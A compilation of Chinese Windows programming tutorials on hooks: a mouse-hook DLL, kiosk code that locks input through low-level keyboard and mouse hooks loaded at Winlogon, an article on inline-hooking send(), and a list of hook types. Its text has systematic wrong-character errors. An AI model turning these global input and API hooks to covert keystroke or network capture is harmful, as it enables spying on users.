本示例程序用到全局鉤子函數,程序分兩部分:可執行程序 MouseDemo 和動態鏈接庫
MouseHook。首先編制 MFC 擴展動態鏈接庫 MouseHook.dll:
(一)選擇 MFC AppWizard(DLL)建立項目 Mousehook;
(二)選擇 MFC Extension DLL(MFC 擴展 DLL)類型;
(三)經過 Project 菜單的 AddToProject 子菜單的"New…"添加頭文件 MouseHook.h。
(四)在頭文件中創建鉤子類:
class AFX_EXT_CLASS CMouseHook:public CObject
{
public:
CMouseHook(); //鉤子類的構造函數
~CMouseHook(); //鉤子類的析構函數
BOOL StartHook(HWND hWnd); //安裝鉤子函數
BOOL StopHook(); //卸載鉤子函數
};
(五)在 MouseHook.cpp 文件中加入#include"MouseHook.h"語句;
(六)加入全局共享數據變量:
#pragma data_seg("mydata")
HWND glhPrevTarWnd=NULL; //上次鼠標所指的窗口句柄
HWND glhDisplayWnd=NULL; //顯示目標窗口標題編輯框的句柄
HHOOK glhHook=NULL; //安裝的鼠標勾子句柄
HINSTANCE glhInstance=NULL; //DLL 實例句柄
#pragma data_seg()
(七)在 DEF 文件中定義段屬性:
SECTIONS
mydata READ WRITE SHARED
(八)在主文件 MouseHook.cpp 的 DllMain 函數中加入保存 DLL 實例句柄的語句:
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
if (!AfxInitExtensionModule(MouseHookDLL, hInstance))
return 0;
new CDynLinkLibrary(MouseHookDLL);
glhInstance=hInstance; //插入保存 DLL 實例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
AfxTermExtensionModule(MouseHookDLL);
}
return 1; // ok
}
這個函數最重要的部分是調用 AfxInitExtensionModule(),它初始化 DLL 使它在 MFC 框架
中正確的工做。它須要傳遞給 DllMain()的 DLL 實例句柄和 AFX_EXTENSION_MODULE
結構,結構中存在着對 MFC 有用的信息。
(九) 類 CMouseHook 的成員函數的具體實現:
Cmousehook::Cmousehook() //類構造函數
{
}
Cmousehook::~Cmousehook() //類析構函數
{
stophook();
}
BOOL Cmousehook::starthook(HWND hWnd) //安裝鉤子並設定接收顯示窗口句柄
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
if(glhHook!=NULL)
bResult=TRUE;
glhDisplayWnd=hWnd; //設置顯示目標窗口標題編輯框的句柄
return bResult;
}
BOOL Cmousehook::stophook() //卸載鉤子
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
{
glhPrevTarWnd=NULL;
glhDisplayWnd=NULL;//清變量
glhHook=NULL;
}
}
return bResult;
}
(十) 鉤子函數的實現
LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam;
if (nCode>=0)
{
HWND glhTargetWnd=pMouseHook->hwnd; //取目標窗口句柄
HWND ParentWnd=glhTargetWnd;
while (ParentWnd !=NULL)
{
glhTargetWnd=ParentWnd;
ParentWnd=GetParent(glhTargetWnd); //取應用程序主窗口句柄
}
if(glhTargetWnd!=glhPrevTarWnd)
{
char szCaption[100];
GetWindowText(glhTargetWnd,szCaption,100); //取目標窗口標題
if(IsWindow(glhDisplayWnd))
SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);
glhPrevTarWnd=glhTargetWnd; //保存目標窗口
}
}
return CallNextHookEx(glhHook,nCode,wparam,lparam); //繼續傳遞消息
}
編譯完成即可獲得運行時所需的鼠標鉤子的動態鏈接庫 MouseHook.dll 和連接時用到的
MouseHook.lib。
6、集成
下面新建一調用鼠標鉤子動態鏈接庫的鉤子可執行程序:
(一) 用 MFC 的 AppWizard(EXE)建立項目 MouseDemo;
(二) 選擇"基於對話應用",其他幾步均爲確省;
(三) 在對話框上加入一個編輯框 IDC_EDIT1;
(四) 在 MouseDemo.h 中加入對 Mousehook.h 的包含語句:#Include"Mousehook.h";
(五) 在 CMouseDemoDlg.h 的 CMouseDemoDlg 類定義中添加私有數據成員:
CMouseHook m_hook;
(六) 在 OnInitDialog 函數的"TODO 註釋"後添加:
CWnd * pwnd=GetDlgItem(IDC_EDIT1); //取得編輯框的類指針
m_hook.StartHook(pwnd->GetSafeHwnd()); //取得編輯框的窗口句柄並安裝鉤子
(七)連接 DLL 庫,即把 Mousehook.lib 加入到項目設置連接標籤中;
(八)把 MouseHook.h 和 MouseHook.lib 複製到 MouseDemo 工程目錄中,MouseHook.dll
複製到 Debug 目錄下。編譯執行程序便可。當鼠標滑過窗口時便會在編輯框中將此窗口的
標題顯示出來。
結論:
系統鉤子具備至關強大的功能,經過這種技術能夠對幾乎全部的 Windows
系統消息進行攔截、監視、處理。這種技術能夠普遍應用於各類軟件,尤爲是須要
有監控、自動記錄等對系統進行監測功能的軟件。本程序只對鼠標消息進行攔截,
相應的也能夠在 Win32 環境下對鍵盤、端口等應用此技術完成特定的功能。
觸摸屏應用相關技術之二——鼠標鍵盤 hook
博客分類:
觸摸屏技術 VChook
觸摸屏應用相關技術之二——鼠標鍵盤 hook
上文說起,在系統啓動過程當中,到訪問內容徹底佔據桌面的間隙,桌面直接暴露給訪客,這是危險的間隙,
須要想辦法解決。
咱們的應對措施是:在這段間隙中,對鼠標鍵盤進行徹底鎖定,直至訪問內容全屏打開。開放鼠標左鍵,
容許訪客交互內容。
利用 hook,咱們能夠在客戶端統計點擊數,及長時間無人點擊時自動切回內容首頁。
爲此須要利用 hook 技術,並在 Winlogon 中載入。
在註冊表中登記項以下:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\CET]
"Asynchronous"=dword:00000000
"Dllname"="SetHook.dll"
"Impersonate"=dword:00000000
"Logoff"="StopProcessAtWinLogoff"
"Logon"="StartProcessAtWinLogon"
SetHook.dll 中的關鍵代碼以下:
…
//全局變量
HHOOK hKeyBoardHook=NULL; //keyboard hook
HHOOK hMouseHook=NULL; //mouse hook
HWND hOutPutWnd=NULL; //Display Pass Wnd
…
//Winlogon 加載函數
VOID APIENTRY StartProcessAtWinLogon (PWLX_NOTIFICATION_INFO pInfo)
{
//start hook
hThread= CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,NULL,0,&dwThreadId);
//get jk_path
getJkPath();
}
…
//Winlogon 卸載函數
VOID APIENTRY StopProcessAtWinLogoff (PWLX_NOTIFICATION_INFO pInfo)
{
//MessageBox(NULL,"系統正在註銷!","Winlogon Notification Package",MB_OK);
}
…
//鼠標鍵盤 hook
DWORD WINAPI ThreadFunc()
{
HDESK hDesk;
//_H 同一桌面上進程之間只能發送窗口消息。沒法跨進程與其餘桌面發送它們。
//_H 一樣,Windows 消息是限制應用程序定義掛鉤。
//_H 特定桌面中運行的進程掛鉤過程將〈〈只得到針對同一桌面上建立窗口消息。〉〉
//_H 詳見 http://support.microsoft.com/kb/171890/zh-cn
//_H 因此,這裏必須設置鉤子所在線程的桌面爲 Default 桌面
//_H 才能使得鉤子所在線程能接收到 Default 桌面的消息
hDesk = OpenDesktop("Default",0,FALSE,MAXIMUM_ALLOWED);
SetThreadDesktop(hDesk);
CloseHandle(hDesk);
//_H 設置低級鍵盤鉤子,屏蔽非 SAS window 的熱鍵
//_H 須要#define _WIN32_WINNT 0x0500
hMouseHook=SetWindowsHookEx(WH_MOUSE_LL,MouseHookProc,glhInstance,0);
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,glhInstance,0);
if (hMouseHook == NULL)
{
OutputDebugString("Set hook failed..");
//__leave;
return 1;
}
OutputDebugString("鉤子成功設置");
// ::ShowWindow(::FindWindow("ProgMan",NULL),SW_HIDE);
// ::ShowWindow(::FindWindow("Shell_TrayWnd",NULL),SW_HIDE);
//_H 在非 GUI 線程中使用消息鉤子必須主動接收並分發收到的消息
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 1;
}
…
//取消 hook
void CloseMe(){
if(hOutPutWnd!=NULL)
::SendMessage(hOutPutWnd,WM_IDLE,2,0);
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
TerminateThread(hThread,1);
CloseHandle(hThread);
hThread=NULL;
}
…
//向桌面程序發送鼠標消息,在此基礎上能夠統計點擊數,及長時間無人點擊自動切回內容首頁
void OnEvent(){
::SendMessage(hOutPutWnd,WM_IDLE,1,0);
}
…
//若是檢查到桌面程序被強制關閉了,再啓動它!
void ShellJK(){
PROCESS_INFORMATION pi;
STARTUPINFO sti;
ZeroMemory(&sti,sizeof(sti));
sti.cb=sizeof(sti);
sti.lpDesktop="winsta0\\default";
CreateProcess(jk_file,NULL,NULL,NULL,FALSE,0,NULL,jk_path, &sti, &pi);
}
//鍵盤 hook,按 Ctrl+ESC 或者 Ctrl+Space 退出 hook
LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{ //keyboard hook proc
BOOL bUnlock1=FALSE;
BOOL bUnlock2=FALSE;
OnEvent();
if (nCode == HC_ACTION){
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
bUnlock1=(p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) !=
0);//Ctrl+Esc
bUnlock2=(p->vkCode == VK_SPACE) && ((GetKeyState(VK_CONTROL) & 0x8000) !=
0);//Ctrl+Space
break;
}
}
if(bUnlock1 || bUnlock2){
CloseMe();
}
return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
}
…
//鼠標 hook,在 hOutPutWnd 爲 NULL 前屏蔽全部事件,以後容許左鍵
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{
//LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
if(wParam==WM_RBUTTONDOWN | wParam==WM_RBUTTONUP
| wParam==WM_LBUTTONDBLCLK){
return TRUE;
}
if(hOutPutWnd!=NULL){
if(wParam==WM_LBUTTONDOWN && nCode>=0){
if(!IsWindow(hOutPutWnd)){
ShellJK();
return TRUE;
}
OnEvent();
}
return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
}
else
return TRUE;
}
…
//桌面程序全屏以後通知 hook 程序其窗口句柄
BOOL CHook::StartHook(HWND hwnd, int span, int dev)
{
if(hThread==NULL)
hThread =
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,NULL,0,&dwThreadId);
hOutPutWnd=hwnd;
return TRUE;
}
HOOK API 的技術
發佈時間:2009-10-18 09:12 文章來源:未知文章做者:黑白前線 點擊次數: 312 次
分享到: QQ 空間 QQ 微博 新浪微博 開心網 人人網
摘要:HOOK API 是一個永恆的話題,若是沒有 HOOK,許多技術將很難實現,也許根本
不能實現。 這裏所說的 API,是廣義上的 API,它包括 DOS 下的中斷,WINDOWS 裏的
API、中斷服務、IFS 和 NDIS 過濾等。好比你們熟悉的即時翻譯軟件,就是靠 HOOK
TextOut()或 ExtTextOut()這兩個...
HOOK API 是一個永恆的話題,若是沒有 HOOK,許多技術將很難實現,也許根本不能
實現。
這裏所說的 API,是廣義上的 API,它包括 DOS 下的中斷,WINDOWS 裏的 API、中
斷服務、IFS 和 NDIS 過濾等。好比你們熟悉的即時翻譯軟件,就是靠 HOOK TextOut()
或 ExtTextOut()這兩個函數實現的,在操做系統用這兩個函數輸出文本以前,就把相
應的英文替換成中文而達到即時翻譯;IFS 和 NDIS 過濾也是如此,在讀寫磁盤和收發
數據以前,系統會調用第三方提供的回調函數來判斷操做是否能夠放行,它與普通
HOOK 不一樣,它是操做系統容許的,由操做系統提供接口來安裝回調函數。
甚至若是沒有 HOOK,就沒有病毒,由於無論是 DOS 下的病毒或 WINDOWS 裏的病
毒,都是靠 HOOK 系統服務來實現本身的功能的:DOS 下的病毒靠 HOOK INT 21 來
感染文件(文件型病毒),靠 HOOK INT 13 來感染引導扇區(引導型病毒);WINDOWS
下的病毒靠 HOOK 系統 API(包括 RING0 層的和 RING3 層的),或者安裝 IFS(CIH
病毒所用的方法)來感染文件。所以能夠說「沒有 HOOK,就沒有今天多姿多彩的軟件
世界」。
因爲涉及到專利和知識產權,或者是商業機密,微軟一直不提倡你們 HOOK 它的系統
API,提供 IFS 和 NDIS 等其餘過濾接口,也是爲了適應殺毒軟件和防火牆的須要纔開
放的。因此在
大多數時候,HOOK API 要靠本身的力量來完成。
HOOK API 有一個原則,這個原則就是:被 HOOK 的 API 的原有功能不能受到任何影
響。就象醫生救人,若是把病人身體裏的病毒殺死了,病人也死了,那麼這個「救人」就
沒有任何意義了。
若是你 HOOK API 以後,你的目的達到了,但 API 的原有功能失效了,這樣不是 HOOK,
而是 REPLACE,操做系統的正常功能就會受到影響,甚至會崩潰。
HOOK API 的技術,提及來也不復雜,就是改變程序流程的技術。在 CPU 的指令裏,
有幾條指令能夠改變程序的流程:JMP,CALL,INT,RET,RETF,IRET 等指令。理
論上只要改變 API 入口和出口的任何機器碼,均可以 HOOK,可是實際實現起來要複雜
不少,由於要處理好如下問題:
1,CPU 指令長度問題,在 32 位系統裏,一條 JMP/CALL 指令的長度是 5 個字節,因
此你只有替換 API 裏超過 5 個字節長度的機器碼(或者替換幾條指令長度加起來是 5 字
節的指令),不然會影響被更
改的小於 5 個字節的機器碼後面的數條指令,甚至程序流程會被打亂,產生不可預料的
後果;
2,參數問題,爲了訪問原 API 的參數,你要經過 EBP 或 ESP 來引用參數,所以你要
很是清楚你的 HOOK 代碼裏此時的 EBP/ESP 的值是多少;
3,時機的問題,有些 HOOK 必須在 API 的開頭,有些必須在 API 的尾部,好比 HOOK
CreateFilaA(),若是你在 API 尾部 HOOK API,那麼此時你就不能寫文件,甚至不能
訪問文件;HOOK RECV(),若是你在 API 頭 HOOK,此時尚未收到數據,你就去查
看 RECV()的接收緩衝區,裏面固然沒有你想要的數據,必須等 RECV()正常執行後,
在 RECV()的尾部 HOOK,此時去查看 RECV()的緩衝區,裏面纔有想要的數據;
4,上下文的問題,有些 HOOK 代碼不能執行某些操做,不然會破壞原 API 的上下文,
原 API 就失效了;
5,同步問題,在 HOOK 代碼裏儘可能不使用全局變量,而使用局部變量,這樣也是模塊
化程序的須要;
6,最後要注意的是,被替換的 CPU 指令的原有功能必定要在 HOOK 代碼的某個地方
模擬實現。
下面以 ws2_32.dll 裏的 send()爲例子來講明如何 HOOK 這個函數:
Exported fn(): send - Ord:0013h
地址 機器碼 彙編代碼
:71A21AF4 55 push ebp //將被 HOOK 的機器碼(第 1 種方法)
:71A21AF5 8BEC mov ebp, esp //將被 HOOK 的機器碼(第 2 種方法)
:71A21AF7 83EC10 sub esp, 00000010
:71A21AFA 56 push esi
:71A21AFB 57 push edi
:71A21AFC 33FF xor edi, edi
:71A21AFE 813D1C20A371931CA271 cmp dword ptr [71A3201C],
71A21C93 //將被 HOOK 的機器碼(第 4 種方法)
:71A21B08 0F84853D0000 je 71A25893
:71A21B0E 8D45F8 lea eax, dword ptr [ebp-08]
:71A21B11 50 push eax
:71A21B12 E869F7FFFF call 71A21280
:71A21B17 3BC7 cmp eax, edi
:71A21B19 8945FC mov dword ptr [ebp-04], eax
:71A21B1C 0F85C4940000 jne 71A2AFE6
:71A21B22 FF7508 push [ebp+08]
:71A21B25 E826F7FFFF call 71A21250
:71A21B2A 8BF0 mov esi, eax
:71A21B2C 3BF7 cmp esi, edi
:71A21B2E 0F84AB940000 je 71A2AFDF
:71A21B34 8B4510 mov eax, dword ptr [ebp+10]
:71A21B37 53 push ebx
:71A21B38 8D4DFC lea ecx, dword ptr [ebp-04]
:71A21B3B 51 push ecx
:71A21B3C FF75F8 push [ebp-08]
:71A21B3F 8D4D08 lea ecx, dword ptr [ebp+08]
:71A21B42 57 push edi
:71A21B43 57 push edi
:71A21B44 FF7514 push [ebp+14]
:71A21B47 8945F0 mov dword ptr [ebp-10], eax
:71A21B4A 8B450C mov eax, dword ptr [ebp+0C]
:71A21B4D 51 push ecx
:71A21B4E 6A01 push 00000001
:71A21B50 8D4DF0 lea ecx, dword ptr [ebp-10]
:71A21B53 51 push ecx
:71A21B54 FF7508 push [ebp+08]
:71A21B57 8945F4 mov dword ptr [ebp-0C], eax
:71A21B5A 8B460C mov eax, dword ptr [esi+0C]
:71A21B5D FF5064 call [eax+64]
:71A21B60 8BCE mov ecx, esi
:71A21B62 8BD8 mov ebx, eax
:71A21B64 E8C7F6FFFF call 71A21230 //將被 HOOK 的機器碼(第 3 種方法)
:71A21B69 3BDF cmp ebx, edi
:71A21B6B 5B pop ebx
:71A21B6C 0F855F940000 jne 71A2AFD1
:71A21B72 8B4508 mov eax, dword ptr [ebp+08]
:71A21B75 5F pop edi
:71A21B76 5E pop esi
:71A21B77 C9 leave
:71A21B78 C21000 ret 0010
鉤子函數的學習
[複製連接]
ccppQt
電梯直達
1 樓
發表於 2010-9-28 11:46 |只看該做者 |倒序瀏覽
WINDOWS 的鉤子函數能夠認爲是 WINDOWS 的主要特性之一。利用它們,您可
以捕捉您本身進程或其它進程發生的事件。經過「鉤掛」,您能夠給 WINDOWS
一個處理或過濾事件的回調函數,該函數也叫作「鉤子函數」,當每次發生您感興
趣的事件時,WINDOWS 都將調用該函數。一共有兩種類型的鉤子:局部的和遠
程的。
局部鉤子僅鉤掛您本身進程的事件。
遠程的鉤子還能夠將鉤掛其它進程發生的事件。遠程的鉤子又有兩種:
基於線程的 它將捕獲其它進程中某一特定線程的事件。簡言之,就是能夠用
來觀察其它進程中的某一特定線程將發生的事件。
系統範圍的 將捕捉系統中全部進程將發生的事件消息。
安裝鉤子函數將會影響系統的性能。監測「系統範圍事件」的系統鉤子特別明顯。
由於系統在處理全部的相關事件時都將調用您的鉤子函數,這樣您的系統將會
明顯的減慢。因此應謹慎使用,用完後當即卸載。還有,因爲您能夠預先截獲
其它進程的消息,因此一旦您的鉤子函數出了問題的話必將影響其它的進程。
記住:功能強大也意味着使用時要負責任。
在正確使用鉤子函數前,咱們先講解鉤子函數的工做原理。當您建立一個鉤子
時,WINDOWS 會先在內存中建立一個數據結構,該數據結構包含了鉤子的相關
信息,而後把該結構體加到已經存在的鉤子鏈表中去。新的鉤子將加到老的前
面。當一個事件發生時,若是您安裝的是一個局部鉤子,您進程中的鉤子函數
將被調用。若是是一個遠程鉤子,系統就必須把鉤子函數插入到其它進程的地
址空間,要作到這一點要求鉤子函數必須在一個動態連接庫中,因此若是您想
要使用遠程鉤子,就必須把該鉤子函數放到動態連接庫中去。固然有兩個例外:
工做日誌鉤子和工做日誌回放鉤子。這兩個鉤子的鉤子函數必須在安裝鉤子的
線程中。緣由是:這兩個鉤子是用來監控比較底層的硬件事件的,既然是記錄
和回放,全部的事件就固然都是有前後次序的。因此若是把回調函數放在 DLL
中,輸入的事件被放在幾個線程中記錄,因此咱們沒法保證獲得正確的次序。
故解決的辦法是:把鉤子函數放到單個的線程中,譬如安裝鉤子的線程。
鉤子的類型
一. 按事件分類,有以下的幾種經常使用類型
(1) 鍵盤鉤子和低級鍵盤鉤子能夠監視各類鍵盤消息。
(2) 鼠標鉤子和低級鼠標鉤子能夠監視各類鼠標消息。
(3) 外殼鉤子能夠監視各類 Shell 事件消息。好比啓動和關閉應用程序。
(4) 日誌鉤子能夠記錄從系統消息隊列中取出的各類事件消息。
(5) 窗口過程鉤子監視全部從系統消息隊列發往目標窗口的消息。
此外,還有一些特定事件的鉤子提供給咱們使用,不一一列舉。
下面描述經常使用的 Hook 類型:
一、WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET Hooks 使你能夠監視發送到窗口過
程的消息。系統在消息發送到接收窗口過程以前調用 WH_CALLWNDPROC Hook
子程,而且在窗口過程處理完消息以後調用 WH_CALLWNDPRO
CRET Hook 子程。WH_CALLWNDPROCRET Hook 傳遞指針到 CWPRETSTRUCT 結構,
再傳遞到 Hook 子程。CWPRETSTRUCT 結構包含了來自處理消息的窗口過程的返
回值,一樣也包括了與這個消息關聯的消息參數。
二、WH_CBT Hook
在如下事件以前,系統都會調用 WH_CBT Hook 子程,這些事件包括:
1. 激活,創建,銷燬,最小化,最大化,移動,改變尺寸等窗口事件;
2. 完成系統指令;
3. 來自系統消息隊列中的移動鼠標,鍵盤事件;
4. 設置輸入焦點事件;
5. 同步系統消息隊列事件。
Hook 子程的返回值肯定系統是否容許或者防止這些操做中的一個。
三、WH_DEBUG Hook
在系統調用系統中與其餘 Hook 關聯的 Hook 子程以前,系統會調用 WH_DEBUG
Hook 子程。你能夠使用這個 Hook 來決定是否容許系統調用與其餘 Hook 關聯的
Hook 子程。
四、WH_FOREGROUNDIDLE Hook
當應用程序的前臺線程處於空閒狀態時,能夠使用 WH_FOREGROUNDIDLE Hook
執行低優先級的任務。當應用程序的前臺線程大概要變成空閒狀態時,系統就
會調用 WH_FOREGROUNDIDLE Hook 子程。
五、WH_GETMESSAGE Hook
應用程序使用 WH_GETMESSAGE Hook 來監視從 GetMessage or PeekMessage 函數
返回的消息。你能夠使用 WH_GETMESSAGE Hook 去監視鼠標和鍵盤輸入,以及
其餘發送到消息隊列中的消息。
六、WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook 使應用程序能夠插入消息到系統消息隊列。能夠使
用這個 Hook 回放經過使用 WH_JOURNALRECORD Hook 記錄下來的連續的鼠標和
鍵盤事件。只要 WH_JOURNALPLAYBACK Hook 已經安裝,正常的鼠標和鍵盤事件
就是無效的。WH_JOURNALPLAYBACK Hook 是全局 Hook,它不能象線程特定 Hook
同樣使用。WH_JOURNALPLAYBACK Hook 返回超時值,這個值告訴系統在處理來
自回放 Hook 當前消息以前須要等待多長時間(毫秒)。這就使 Hook 能夠控制實
時事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks,它們不會被
注射到任何行程位址空間。(估計按鍵精靈是用這個 hook 作的)
七、WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 用來監視和記錄輸入事件。典型的,能夠使用這個
Hook 記錄連續的鼠標和鍵盤事件,而後經過使用 WH_JOURNALPLAYBACK Hook
來回放。WH_JOURNALRECORD Hook 是全局 Hook,它不能象線程特定 Hook 同樣
使用。WH_JOURNALRECORD 是 system-wide local hooks,它們不會被注射到任何
行程位址空間。
八、WH_KEYBOARD Hook
在應用程序中,WH_KEYBOARD Hook 用來監視 WM_KEYDOWN and WM_KEYUP
消息,這些消息經過 GetMessage or PeekMessage function 返回。能夠使用這個
Hook 來監視輸入到消息隊列中的鍵盤消息。
九、WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook 監視輸入到線程消息隊列中的鍵盤消息。
十、WH_MOUSE Hook
WH_MOUSE Hook 監視從 GetMessage 或者 PeekMessage 函數返回的鼠標消息。
使用這個 Hook 監視輸入到消息隊列中的鼠標消息。
十一、WH_MOUSE_LL Hook
WH_MOUSE_LL Hook 監視輸入到線程消息隊列中的鼠標消息。
十二、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使咱們能夠監視菜單,滾動條,消
息框,對話框消息而且發現用戶使用 ALT+TAB or ALT+ESC 組合鍵切換窗口。
WH_MSGFILTER Hook 只能監視傳遞到菜單,滾動條,消息框的消息,以及傳遞
到經過安裝了 Hook 子程的應用程序創建的對話框的消息。WH_SYSMSGFILTER
Hook 監視全部應用程序消息。WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我
們能夠在模式循環期間過濾消息,這等價於在主消息循環中過濾消息。經過調
用 CallMsgFilter function 能夠直接的調用 WH_MSGFILTER Hook。經過使用這個函
數,應用程序可以在模式循環期間使用相同的代碼去過濾消息,如同在主消息
循環裏同樣。
1三、WH_SHELL Hook
外殼應用程序能夠使用 WH_SHELL Hook 去接收重要的通知。當外殼應用程序是
激活的而且當頂層窗口創建或者銷燬時,系統調用 WH_SHELL Hook 子程。
WH_SHELL 共有5鍾情況:
1. 只要有個 top-level、unowned 窗口被產生、起做用、或是被摧毀;
2. 當 Taskbar 須要重畫某個按鈕;
3. 當系統須要顯示關於 Taskbar 的一個程序的最小化形式;
4. 當目前的鍵盤佈局狀態改變;
5. 當使用者按 Ctrl+Esc 去執行 Task Manager(或相同級別的程序)。
按照慣例,外殼應用程序都不接收 WH_SHELL 消息。因此,在應用程序可以接
收 WH_SHELL 消息以前,應用程序必須調用 SystemParametersInfo function 註冊
它本身。
以上是 13 種經常使用的 hook 類型!
編寫鉤子程序
編寫鉤子程序的步驟分爲三步:定義鉤子函數、安裝鉤子和卸載鉤子。
1.定義鉤子函數
鉤子函數是一種特殊的回調函數。鉤子監視的特定事件發生後,系統會調
用鉤子函數進行處理。不一樣事件的鉤子函數的形式是各不相同的。下面以鼠標
鉤子函數舉例說明鉤子函數的原型:
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
參數 wParam 和 lParam 包含所鉤消息的信息,好比鼠標位置、狀態,鍵盤按鍵
等。nCode 包含有關消息自己的信息,好比是否從消息隊列中移出。
咱們先在鉤子函數中實現自定義的功能,而後調用函數 CallNextHookEx.把鉤子
信息傳遞給鉤子鏈的下一個鉤子函數。CallNextHookEx.的原型以下:
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM
lParam )
參數 hhk 是鉤子句柄。nCode、wParam 和 lParam 是鉤子函數。
固然也能夠經過直接返回 TRUE 來丟棄該消息,就阻止了該消息的傳遞。
2.安裝鉤子
要安裝一個鉤子,您能夠調用 SetWindowHookEx 函數。該函數的原型如
下:
SetWindowsHookEx proto HookType:DWORD, pHookProc:DWORD, hInstanc
e:DWORD, ThreadID:DWORD
HookType 是咱們上面列出的值之一,譬如: WH_MOUSE, WH_KEYBOARD
pHookProc 是鉤子函數的地址。若是使用的是遠程的鉤子,就必須放在一個
DLL 中,不然放在自己代碼中
hInstance 鉤子函數所在 DLL 的實例句柄。若是是一個局部的鉤子,該值爲
NULL
ThreadID 是您安裝該鉤子函數後想監控的線程的 ID 號。該參數能夠決定該鉤
子是局部的仍是系統範圍的。若是該值爲 NULL,那麼該鉤子將被解釋成系統範
圍內的,那它就能夠監控全部的進程及它們的線程。若是您指定了您本身進程
中的某個線程 ID 號,那該鉤子是一個局部的鉤子。若是該線程 ID 是另外一個進
程中某個線程的 ID,那該鉤子是一個全局的遠程鉤子。這裏有兩個特殊狀況:
WH_JOURNALRECORD 和 WH_JOURNALPLAYBACK 老是表明局部的系統範圍的
鉤 子 , 之 所 以 說 是 局 部 , 是 因 爲 它 們 沒 有 必 要 放 到 一 個 DLL 中。
WH_SYSMSGFILTER 老是一個系統範圍內的遠程鉤子。其實它和 WH_MSGFILTER
鉤子相似,若是把參數 ThreadID 設成 0 的話,它們就徹底同樣了。
若是該函數調用成功的話,將在 eax 中返回鉤子的句柄,不然返回 NULL。您必
須保存該句柄,由於後面咱們還要它來卸載鉤子。
3.卸載鉤子
要卸載一個鉤子時調用 UnhookWidowHookEx 函數,該函數僅有一個參數,就是
欲卸載的鉤子的句柄。若是調用成功的話,在 eax 中返回非 0 值,不然返回 NULL。
如今您知道了如何安裝和卸載一個鉤子了,接下來咱們將看看鉤子函數。.
只要您安裝的鉤子的消息事件類型發生,WINDOWS 就將調用鉤子函數。譬如
您安裝的鉤子是 WH_MOUSE 類型,那麼只要有一個鼠標事件發生時,該鉤子函
數就會被調用。無論您安裝的時那一類型鉤子,鉤子函數的原型都時是同樣
的:
HookProc proto nCode:DWORD, wParam:DWORD, lParam:DWORD
nCode 指定是否須要處理該消息
wParam 和 lParam 包含該消息的附加消息
HookProc 能夠看做是一個函數名的佔位符。只要函數的原型一致,您能夠給
該函數取任何名字。至於以上的幾個參數及返回值的具體含義各類類型的鉤子
都不相同。譬如:
WH_CALLWNDPROC
nCode 只能是 HC_ACTION,它表明有一個消息發送給了一個窗口
wParam 若是非 0,表明正被髮送的消息
lParam 指向 CWPSTRUCT 型結構體變量的指針
return value: 未使用,返回 0
WH_MOUSE
nCode 爲 HC_ACTION 或 HC_NOREMOVE
wParam 包含鼠標的事件消息
lParam 指向 MOUSEHOOKSTRUCT 型結構體變量的指針
return value: 若是不處理返回 0,不然返回非 0 值
因此您必須查詢您的 WIN32 API 指南來獲得不一樣類型的鉤子的參數的詳細
定義以及它們返回值的意義。這裏還有一個問題須要注意:全部的鉤子都串在
一個鏈表上,最近加入的鉤子放在鏈表的頭部。當一個事件發生時,WINDOWS
將按照從鏈表頭到鏈表尾調用的順序。因此您的鉤子函數有責任把消息傳到下
一個鏈中的鉤子函數。固然您能夠不這樣作,可是您最好明白這時這麼作的原
因。在大多數的狀況下,最好把消息事件傳遞下去以便其它的鉤子都有機會獲
得處理這一消息的機會。調用下一個鉤子函數能夠調用函數 CallNextHookEx。該
函數的原型以下:
CallNextHookEx proto hHook:DWORD, nCode:DWORD, wParam:DWORD, l
Param:DWORD
hHook 時是您本身的鉤子函數的句柄。利用該句柄能夠遍歷鉤子鏈。
nCode, wParam and lParam 您只要把傳入的參數簡單傳給 CallNextHookEx
便可。
請注意:對於遠程鉤子,鉤子函數必須放到 DLL 中,它們將從 DLL 中映射到其
它的進程空間中去。當 WINDOWS 映射 DLL 到其它的進程空間中去時,不會把數
據段也進行映射。簡言之,全部的進程僅共享 DLL 的代碼,至於數據段,每一
